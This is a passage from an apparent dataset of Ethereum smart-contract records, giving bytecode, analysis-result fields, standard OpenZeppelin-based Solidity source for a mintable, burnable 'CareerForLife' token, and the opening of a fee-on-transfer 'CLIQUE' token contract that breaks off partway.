29160200191613315565b820191906000526020600020905b8154815290600101906020018083116132f857829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561337a57600080fd5b806006908051906020019061339092919061484b565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156133ef57600080fd5b80601e908051906020019061340592919061484b565b5050565b613411614837565b60138054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134a75780601f1061347c576101008083540402835291602001916134a7565b820191906000526020600020905b81548152906001019060200180831161348a57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561350c57600080fd5b806002908051906020019061352292919061484b565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561358157600080fd5b806009908051906020019061359792919061484b565b5050565b6135a3614837565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136395780601f1061360e57610100808354040283529160200191613639565b820191906000526020600020905b81548152906001019060200180831161361c57829003601f168201915b5050505050905090565b61364b614837565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136e15780601f106136b6576101008083540402835291602001916136e1565b820191906000526020600020905b8154815290600101906020018083116136c457829003601f168201915b5050505050905090565b6136f3614837565b60178054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156137895780601f1061375e57610100808354040283529160200191613789565b820191906000526020600020905b81548152906001019060200180831161376c57829003601f168201915b5050505050905090565b61379b614837565b60228054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138315780601f1061380657610100808354040283529160200191613831565b820191906000526020600020905b81548152906001019060200180831161381457829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561389657600080fd5b80600e90805190602001906138ac92919061484b565b5050565b6138b8614837565b601e8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561394e5780601f106139235761010080835404028352916020019161394e565b820191906000526020600020905b81548152906001019060200180831161393157829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156139b357600080fd5b80600f90805190602001906139c992919061484b565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613a2857600080fd5b80600d9080519060200190613a3e92919061484b565b5050565b613a4a614837565b601c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613ae05780601f10613ab557610100808354040283529160200191613ae0565b820191906000526020600020905b815481529060010190602001808311613ac357829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b4557600080fd5b80601c9080519060200190613b5b92919061484b565b5050565b613b67614837565b600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613bfd5780601f10613bd257610100808354040283529160200191613bfd565b820191906000526020600020905b815481529060010190602001808311613be057829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613c6257600080fd5b8060219080519060200190613c7892919061484b565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613cd757600080fd5b8060209080519060200190613ced92919061484b565b5050565b613cf9614837565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613d8f5780601f10613d6457610100808354040283529160200191613d8f565b820191906000526020600020905b815481529060010190602001808311613d7257829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613df457600080fd5b8060159080519060200190613e0a92919061484b565b5050565b613e16614837565b60108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613eac5780601f10613e8157610100808354040283529160200191613eac565b820191906000526020600020905b815481529060010190602001808311613e8f57829003601f168201915b5050505050905090565b613ebe614837565b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613f545780601f10613f2957610100808354040283529160200191613f54565b820191906000526020600020905b815481529060010190602001808311613f3757829003601f168201915b5050505050905090565b613f66614837565b60128054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613ffc5780601f10613fd157610100808354040283529160200191613ffc565b820191906000526020600020905b815481529060010190602001808311613fdf57829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561406157600080fd5b806022908051906020019061407792919061484b565b5050565b614083614837565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156141195780601f106140ee57610100808354040283529160200191614119565b820191906000526020600020905b8154815290600101906020018083116140fc57829003601f168201915b5050505050905090565b61412b614837565b601d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156141c15780601f10614196576101008083540402835291602001916141c1565b820191906000526020600020905b8154815290600101906020018083116141a457829003601f168201915b5050505050905090565b6141d3614837565b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156142695780601f1061423e57610100808354040283529160200191614269565b820191906000526020600020905b81548152906001019060200180831161424c57829003601f168201915b5050505050905090565b61427b614837565b60168054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156143115780601f106142e657610100808354040283529160200191614311565b820191906000526020600020905b8154815290600101906020018083116142f457829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561437657600080fd5b80600a908051906020019061438c92919061484b565b5050565b614398614837565b60188054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561442e5780601f106144035761010080835404028352916020019161442e565b820191906000526020600020905b81548152906001019060200180831161441157829003601f168201915b5050505050905090565b614440614837565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156144d65780601f106144ab576101008083540402835291602001916144d6565b820191906000526020600020905b8154815290600101906020018083116144b957829003601f168201915b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561453b57600080fd5b80600b908051906020019061455192919061484b565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156145b057600080fd5b80600790805190602001906145c692919061484b565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561462557600080fd5b806014908051906020019061463b92919061484b565b5050565b614647614837565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156146dd5780601f106146b2576101008083540402835291602001916146dd565b820191906000526020600020905b8154815290600101906020018083116146c057829003601f168201915b5050505050905090565b6146ef614837565b601f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156147855780601f1061475a57610100808354040283529160200191614785565b820191906000526020600020905b81548152906001019060200180831161476857829003601f168201915b5050505050905090565b614797614837565b60158054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561482d5780601f106148025761010080835404028352916020019161482d565b820191906000526020600020905b81548152906001019060200180831161481057829003601f168201915b5050505050905090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061488c57805160ff19168380011785556148ba565b828001600101855582156148ba579182015b828111156148b957825182559160200191906001019061489e565b5b5090506148c791906148cb565b5090565b6148ed91905b808211156148e95760008160009055506001016148d1565b5090565b905600a165627a7a723058200b9a3850333dc7a1381b5671069ee4f566f55db2a8b8b5abe350b5f4e0ba5e550029 | {"success": true, "error": null, "results": {}} | 1,462 |
0x9e813e97e379d3fb74a2c7faa7661591cb8978e0 | pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/ChildToken.sol
/**
* @title ChildToken
* @dev ChildToken is the base contract of child token contracts
*/
contract ChildToken is StandardToken {
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/Refundable.sol
/**
* @title Refundable
* @dev Base contract that can refund funds(ETH and tokens) by owner.
* @dev Reference TokenDestructible(zeppelinand) TokenDestructible(zeppelin)
*/
contract Refundable is Ownable {
event RefundETH(address indexed owner, address indexed payee, uint256 amount);
event RefundERC20(address indexed owner, address indexed payee, address indexed token, uint256 amount);
function Refundable() public payable {
}
function refundETH(address payee, uint256 amount) onlyOwner public {
require(payee != address(0));
require(this.balance >= amount);
assert(payee.send(amount));
RefundETH(owner, payee, amount);
}
function refundERC20(address tokenContract, address payee, uint256 amount) onlyOwner public {
require(payee != address(0));
bool isContract;
assembly {
isContract := gt(extcodesize(tokenContract), 0)
}
require(isContract);
ERC20 token = ERC20(tokenContract);
assert(token.transfer(payee, amount));
RefundERC20(owner, payee, tokenContract, amount);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title CareerForLife
* @dev CareerForLife token.
*/
contract CareerForLife is ChildToken, Refundable, MintableToken, BurnableToken {
string public name;
string public symbol;
uint8 public decimals;
bool public canBurn;
event Burn(address indexed burner, uint256 value);
constructor(address _owner, string _name, string _symbol, uint256 _initSupply, uint8 _decimals, bool _canMint, bool _canBurn) public {
require(_owner != address(0));
owner = _owner;
name = _name;
symbol = _symbol;
decimals = _decimals;
uint256 amount = _initSupply;
totalSupply_ = totalSupply_.add(amount);
balances[owner] = balances[owner].add(amount);
emit Transfer(address(0), owner, amount);
if (!_canMint) {
mintingFinished = true;
}
canBurn = _canBurn;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(canBurn);
BurnableToken.burn(_value);
}
function ownerCanBurn(bool _canBurn) public onlyOwner {
canBurn = _canBurn;
}
} | 0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde031461014a578063095ea7b3146101d457806318160ddd146101f857806323b872dd1461021f5780632fbc835314610249578063313ce5671461026557806340c10f191461029057806342966c68146102b457806348c44712146102cc5780634bd22766146102f6578063661884631461031a57806370a082311461033e5780637d64bcb41461035f5780638da5cb5b1461037457806395d89b41146103a5578063a9059cbb146103ba578063c1eb1840146103de578063d73dd623146103f3578063dd62ed3e14610417578063f2fde38b1461043e575b600080fd5b34801561012d57600080fd5b5061013661045f565b604080519115158252519081900360200190f35b34801561015657600080fd5b5061015f610480565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b50610136600160a060020a036004351660243561050e565b34801561020457600080fd5b5061020d610574565b60408051918252519081900360200190f35b34801561022b57600080fd5b50610136600160a060020a036004358116906024351660443561057a565b34801561025557600080fd5b5061026360043515156106df565b005b34801561027157600080fd5b5061027a610710565b6040805160ff9092168252519081900360200190f35b34801561029c57600080fd5b50610136600160a060020a0360043516602435610719565b3480156102c057600080fd5b50610263600435610822565b3480156102d857600080fd5b50610263600160a060020a0360043581169060243516604435610844565b34801561030257600080fd5b50610263600160a060020a0360043516602435610977565b34801561032657600080fd5b50610136600160a060020a0360043516602435610a27565b34801561034a57600080fd5b5061020d600160a060020a0360043516610b17565b34801561036b57600080fd5b50610136610b32565b34801561038057600080fd5b50610389610bd8565b60408051600160a060020a039092168252519081900360200190f35b3480156103b157600080fd5b5061015f610be7565b3480156103c657600080fd5b50610136600160a060020a0360043516602435610c42565b3480156103ea57600080fd5b50610136610d11565b3480156103ff57600080fd5b50610136600160a060020a0360043516602435610d1f565b34801561042357600080fd5b5061020d600160a060020a0360043581169060243516610db8565b34801561044a57600080fd5b50610263600160a060020a0360043516610de3565b60035474010000000000000000000000000000000000000000900460ff1681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105065780601f106104db57610100808354040283529160200191610506565b820191906000526020600020905b8154815290600101906020018083116104e957829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561059157600080fd5b600160a060020a0384166000908152602081905260409020548211156105b657600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156105e657600080fd5b600160a060020a03841660009081526020819052604090205461060f908363ffffffff610e7816565b600160a060020a038086166000908152602081905260408082209390935590851681522054610644908363ffffffff610e8a16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610686908363ffffffff610e7816565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610f92833981519152929181900390910190a35060019392505050565b600354600160a060020a031633146106f657600080fd5b600680549115156101000261ff0019909216919091179055565b60065460ff1681565b600354600090600160a060020a0316331461073357600080fd5b60035474010000000000000000000000000000000000000000900460ff161561075b57600080fd5b60015461076e908363ffffffff610e8a16565b600155600160a060020a03831660009081526020819052604090205461079a908363ffffffff610e8a16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a03851691600091600080516020610f928339815191529181900360200190a350600192915050565b600654610100900460ff16151561083857600080fd5b61084181610e9d565b50565b6003546000908190600160a060020a0316331461086057600080fd5b600160a060020a038416151561087557600080fd5b6000853b1191508161088657600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151869283169163a9059cbb9160448083019260209291908290030181600087803b1580156108f357600080fd5b505af1158015610907573d6000803e3d6000fd5b505050506040513d602081101561091d57600080fd5b5051151561092757fe5b600354604080518581529051600160a060020a0380891693888216939116917fa1e4855d49b75f7254460c3e0a5572cde83f71d659655bcef5319969068d5a639181900360200190a45050505050565b600354600160a060020a0316331461098e57600080fd5b600160a060020a03821615156109a357600080fd5b30318111156109b157600080fd5b604051600160a060020a0383169082156108fc029083906000818181858888f1935050505015156109de57fe5b600354604080518381529051600160a060020a038086169316917f94c0c9648f44e27ff77f68e457219cb803cf319b29a83403156a3ef21747101e919081900360200190a35050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610a7c57336000908152600260209081526040808320600160a060020a0388168452909152812055610ab1565b610a8c818463ffffffff610e7816565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a03163314610b4c57600080fd5b60035474010000000000000000000000000000000000000000900460ff1615610b7457600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105065780601f106104db57610100808354040283529160200191610506565b6000600160a060020a0383161515610c5957600080fd5b33600090815260208190526040902054821115610c7557600080fd5b33600090815260208190526040902054610c95908363ffffffff610e7816565b3360009081526020819052604080822092909255600160a060020a03851681522054610cc7908363ffffffff610e8a16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610f928339815191529281900390910190a350600192915050565b600654610100900460ff1681565b336000908152600260209081526040808320600160a060020a0386168452909152812054610d53908363ffffffff610e8a16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610dfa57600080fd5b600160a060020a0381161515610e0f57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e8457fe5b50900390565b81810182811015610e9757fe5b92915050565b6108413382600160a060020a038216600090815260208190526040902054811115610ec757600080fd5b600160a060020a038216600090815260208190526040902054610ef0908263ffffffff610e7816565b600160a060020a038316600090815260208190526040902055600154610f1c908263ffffffff610e7816565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a03851691600080516020610f928339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820b36316c9f462b3291fdb3f5cb3e30c7f63f99cc734392331da3af17afc361d940029 | {"success": true, "error": null, "results": {}} | 1,463 |
0xE5890ABAC02de092dFBd1744Ba789D78c42ab25E | // SPDX-License-Identifier: UNLICENSED
/**
5e initial liq, 2% max tx / wallet, locked + renounced immediately after launch. come join the community!
https://t.me/CLIQUEPortal
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CLIQUE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Clique";
string private constant _symbol = "CLIQUE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
